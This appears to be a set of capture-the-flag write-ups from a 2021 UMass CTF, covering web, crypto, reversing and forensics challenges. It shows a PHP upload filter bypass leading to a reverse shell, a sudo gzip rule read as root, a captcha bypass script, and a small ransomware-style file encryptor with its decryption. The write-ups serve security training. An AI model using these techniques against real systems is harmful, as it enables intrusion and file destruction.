Hermit – Part 1
Web – 50pts
Description
Help henry find a new shell
Solution
When entering the challenge page we get some image upload functionality.

Lets create a PHP script and try to get it to execute.
<?php echo 'hellozz'; ?>
Uploading the script with the PHP extension yields an error telling us that it’s not an PNG, JPG or GIF image. Lets change the extension to PNG and try again. This time we are able to upload our script.

Lets see if we can execute the script. If we click the See Image link, our script is executed.

Great, we can execute our own PHP-code, lets upload a reverse shell like php-reverse-shell and find out if we can create connections from the server. After uploading the script and executing it we get a connection on our listener.
listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45198 Linux aec9a5b5ef1d 4.19.0-14-cloud-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux 11:39:41 up 12:52, 0 users, load average: 0.40, 0.26, 0.13 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1000(hermit) gid=1000(hermit) groups=1000(hermit),27(sudo) /bin/sh: 0: can't access tty; job control turned off $
Taking a look around the filesystem we can find a file called userflag.txt in /home/hermit, viewing the file gives us the flag.
UMASS{a_picture_paints_a_thousand_shells}
Hermit – Part 2
Web – 307pts
Description
Who are you? How did you get here? You better zip on out of here or else.
Solution
Using the shell we got in the previous challenge we can start to look around for the next flag. Checking sudo -l
shows us an interesting command that we can run.
Matching Defaults entries for hermit on cca6b83f9146: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User hermit may run the following commands on cca6b83f9146: (ALL : ALL) ALL (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t
When we run sudo /bin/gzip -f /root/rootflag.txt -t
we get the flag.
UMASS{a_test_of_integrity}
heim
Web – 334pts
Description
Modern auth for the modern viking
Solution
Entering the challenge page we get an input field for a name and a button.

When entering a name and clicking the ENTER button all we get is a JWT token.

Lets modify the request and add the bearer token and see what happens.
GET /heim HTTP/1.1 Host: 104.197.195.221:8081 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYxNjg0NTU0OSwianRpIjoiNmYzN2M2NTgtOWVhMC00ZWViLWEzOWEtMzQ4NGFhMjc4OGJmIiwibmJmIjoxNjE2ODQ1NTQ5LCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoidGVzdCIsImV4cCI6MTYxNjg0NjQ0OX0.WsVvaw5BK30znH8z84eW-FBGMdCm2UfuyZENi4kspqU
HTTP/1.1 200 OK Server: gunicorn/20.0.4 Date: Sat, 27 Mar 2021 11:47:12 GMT Connection: close Content-Type: application/json Content-Length: 2252 { "msg": "ewogICAgImFwaSI6IHsKICAgICAgICAidjEiOiB7CiAgICAgICAgICAgICIvYXV0aCI6IHsKICAgICAgICAgICAgICAgICJnZXQiOiB7CiAgICAgICAgICAgICAgICAgICAgInN1bW1hcnkiOiAiRGVidWdnaW5nIG1ldGhvZCBmb3IgYXV0aG9yaXphdGlvbiBwb3N0IiwKICAgICAgICAgICAgICAgICAgICAic2VjdXJpdHkiOiAiTm9uZSIsCiAgICAgICAgICAgICAgICAgICAgInBhcmFtZXRlcnMiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICJhY2Nlc3NfdG9rZW4iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVxdWlyZWQiOiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIkFjY2VzcyB0b2tlbiBmcm9tIHJlY2VudGx5IGF1dGhvcml6ZWQgVmlraW5nIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpbiI6ICJwYXRoIiwKICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgImp3dF9zZWNyZXRfa2V5IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgInJlcXVpcmVkIjogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiRGVidWdnaW5nIC0gc2hvdWxkIGJlIHJlbW92ZWQgaW4gcHJvZCBIZWltIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpbiI6ICJwYXRoIgogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICJwb3N0IjogewogICAgICAgICAgICAgICAgICAgICJzdW1tYXJ5IjogIkF1dGhvcml6ZSB5b3Vyc2VsZiBhcyBhIFZpa2luZyIsCiAgICAgICAgICAgICAgICAgICAgInNlY3VyaXR5IjogIk5vbmUiLAogICAgICAgICAgICAgICAgICAgICJwYXJhbWV0ZXJzIjogewogICAgICAgICAgICAgICAgICAgICAgICAidXNlcm5hbWUiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVxdWlyZWQiOiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRlc2NyaXB0aW9uIjogIllvdXIgVmlraW5nIG5hbWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImluIjogImJvZHkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbnRlbnQiOiAibXVsdGlwYXJ0L3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSwKICAgICAgICAgICAgIi9oZWltIjogewogICAgICAgICAgICAgICAgImdldCI6IHsKICAgICAgICAgICAgICAgICAgICAic3VtbWFyeSI6ICJMaXN0IHRoZSBlbmRwb2ludHMgYXZhaWxhYmxlIHRvIG5hbWVkIFZpa2luZ3MiLAogICAgICAgICAgICAgICAgICAgICJzZWN1cml0eSI6ICJCZWFyZXJBdXRoIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9LAogICAgICAgICAgICAiL2ZsYWciOiB7CiAgICAgICAgICAgICAgICAiZ2V0IjogewogICAgICAgICAgICAgICAgICAgICJzdW1tYXJ5IjogIlJldHJpZXZlIHRoZSBmbGFnIiwKICAgICAgICAgICAgICAgICAgICAic2VjdXJpdHkiOiAiQmVhcmVyQXV0aCIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQ==" }
Now we got a response with a base64 encoded message, decoding the message gives us a schema for the api.
{
"api": {
"v1": {
"/auth": {
"get": {
"summary": "Debugging method for authorization post",
"security": "None",
"parameters": {
"access_token": {
"required": true,
"description": "Access token from recently authorized Viking",
"in": "path",
},
"jwt_secret_key": {
"required": false,
"description": "Debugging - should be removed in prod Heim",
"in": "path"
}
}
},
"post": {
"summary": "Authorize yourself as a Viking",
"security": "None",
"parameters": {
"username": {
"required": true,
"description": "Your Viking name",
"in": "body",
"content": "multipart/x-www-form-urlencoded"
}
}
}
},
"/heim": {
"get": {
"summary": "List the endpoints available to named Vikings",
"security": "BearerAuth"
}
},
"/flag": {
"get": {
"summary": "Retrieve the flag",
"security": "BearerAuth"
}
}
}
}
}
The last entry in the schema reveals a /flag endpoint with bearer authentication, lets try it out.
GET /flag HTTP/1.1 Host: 104.197.195.221:8081 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYxNjg0NTU0OSwianRpIjoiNmYzN2M2NTgtOWVhMC00ZWViLWEzOWEtMzQ4NGFhMjc4OGJmIiwibmJmIjoxNjE2ODQ1NTQ5LCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoidGVzdCIsImV4cCI6MTYxNjg0NjQ0OX0.WsVvaw5BK30znH8z84eW-FBGMdCm2UfuyZENi4kspqU
HTTP/1.1 401 UNAUTHORIZED Server: gunicorn/20.0.4 Date: Sat, 27 Mar 2021 11:49:21 GMT Connection: close Content-Type: application/json Content-Length: 77 { "msg": "You are not worthy. Only the AllFather Odin may view the flag" }
Ok, so we need to be authenticated as Odin, lets head back to the start page and generate a token for Odin. Using the new token to call the /flag endpoint returns the flag.
UMASS{liveheim_laughheim_loveheim}
PikCha
Web – 241pts
Solution
For this challenge we get a captcha-like image to break 500 times.

Checking out the cookies we can see that we have a cookie named session which contains some base64 encoded data.

Decoding the base64 part we get some JSON data.
{"answer":[95,11,24,44],"correct":0,"image":"./static/chall-images/maIoxghuCl.jpg"}
Lets see if the values in the answer array works.


Ok, so we got the answer to the captcha in the session cookie for each request, using the following script we can solve all 500.
#!/usr/bin/env python3
import requests
import base64
import json
cookies = {}
url = 'http://34.121.84.161:8084/'
def get_session_data(session_cookie):
return json.loads(base64.b64decode(session_cookie.split('.')[0] + '==='))
while True:
r = requests.get(url, cookies=cookies)
session_data = get_session_data(r.cookies['session'])
answer = ' '.join(map(str, session_data['answer']))
r = requests.post(url, data = {'guess': answer}, cookies=r.cookies)
cookies = r.cookies
session_data = get_session_data(r.cookies['session'])
print(session_data)
if session_data['correct'] == 500:
print(r.text)
break
After running this script we get the flag.
UMASS{G0tt4_c4tch_th3m_4ll_17263548}
easteregg
Reverse Engineering – 50pts
Description
Dangeresque likes easter eggs.
Solution
Disassembling the binary with Ghidra and taking a look at the main
function we find the game loop with a bunch of command checks. Right after the loop we can find another loop that XOR:s two values.
while (local_194 < 0x23) {
putchar((int)(char)(LHEIBZNXEKQSAPHHUWTQ[local_194] ^ COJASZQHPZXKLAPHRHOK[local_194]));
local_194 = local_194 + 1;
}
Extracting the values we get a ASCII string and a byte array.
LHEIBZNXEKQSAPHHUWTQ = \x12\x18\x08\x0a\x10\x37\x37\x66\x28\x17\x78\x60\x67\x29\x18\x26\x07\x2b\x37\x28\x0b\x35\x76\x37\x20\x11\x2f\x37\x24\x64\x37\x2a\x7a\x3e\x35 COJASZQHPZXKLAPHRHOK = GUIYCLZVEHIPWBGOXHVFTGEVDNNDWWZHKGH
When XOR:ing these arrays we get the flag.
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}
malware
Cryptography – 434pts
Description
We’ve identified some ransomeware on one of our employee’s systems, but it seems like it was made by a script kiddie. Think you can decrypt the files for us?
Solution
For this challenge we get a python script, malware.py, and four encrypted files.
CTF-favicon.png.enc flag.txt.enc malware.py.enc shopping_list.txt.enc
Lets start by examining the python script.
from Crypto.Cipher import AES
from Crypto.Util import Counter
import binascii
import os
key = os.urandom(16)
iv = int(binascii.hexlify(os.urandom(16)), 16)
for file_name in os.listdir():
data = open(file_name, 'rb').read()
cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv))
enc = open(file_name + '.enc', 'wb')
enc.write(cipher.encrypt(data))
iv += 1
So each of the encrypted files are encrypted with AES Counter mode, using the same random key but incrementing the initial value.
If we take a look at how the AES Counter mode works we may find out how to decrypt the files.

So the counter mode encryption generates a new encryption block from the key and the counter with the length of the key. Then the encryption block is XOR:ed with the first block of the plaintext to generate the first block of the ciphertext. For each subsequent block the counter is incremented by one.
If we take a look at how the malware.py works we can see that for each file it increments the initial value by one, meaning that the second encryption block of the first encrypted file are equal to the first block of the second encrypted file, the third encryption block of the first file are equal to the second block of the second file and the first block of the third file and so on.
Since we have the plaintext of the malware.py.enc, we are able to get the encryption blocks used by XOR:ing each byte of malware.py with malware.py.enc. And if we are lucky, the encryption blocks used to encrypt flag.txt.enc is within the blocks we can restore.
As it turns out, we are lucky, and the encryption blocks used to encrypt flag.txt.enc starts at the second block of the recovered blocks. Using the following script we can decrypt flag.txt.enc.
#!/usr/bin/env python3
plaintext = open('malware.py', 'rb').read()
encrypted = open('enc/malware.py.enc', 'rb').read()
key = bytearray()
for idx in range(0,len(plaintext)):
key.append(plaintext[idx] ^ encrypted[idx])
encrypted = open('enc/flag.txt.enc', 'rb').read()
key = key[32:]
decrypted = bytearray()
for idx in range(0, len(encrypted)):
decrypted.append((key[idx % len(key)]) ^ encrypted[idx])
print(decrypted.decode())
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}
Scan Me
Misc – 128pts
Description
The top layer is a lie.
Solution
Attached is a GIMP XCF image file. Opening the file in GIMP we get a white image, taking a look at the layers reveals that there’s another layer beneath the white layer.

Hiding the top layer reveals a broken QR-code.

Restoring the obvious parts of the QR code we get the following image.

Using QRazyBox we can upload our partially restored QR code and decode it to retrieve an imgur link. Following that link we get an image containing the flag.
UMASS{QR-3Z-m0d3}
Notes
Forensics – 50pts
Description
The breach seems to have originated from this host. Can you find the user’s mistake? Here is a memory image of their workstation from that day.
Solution
Attached is a memory image, running strings -n 8 -e l image.mem | grep UMASS
returns the flag.
UMASS{$3CUR3_$70Rag3}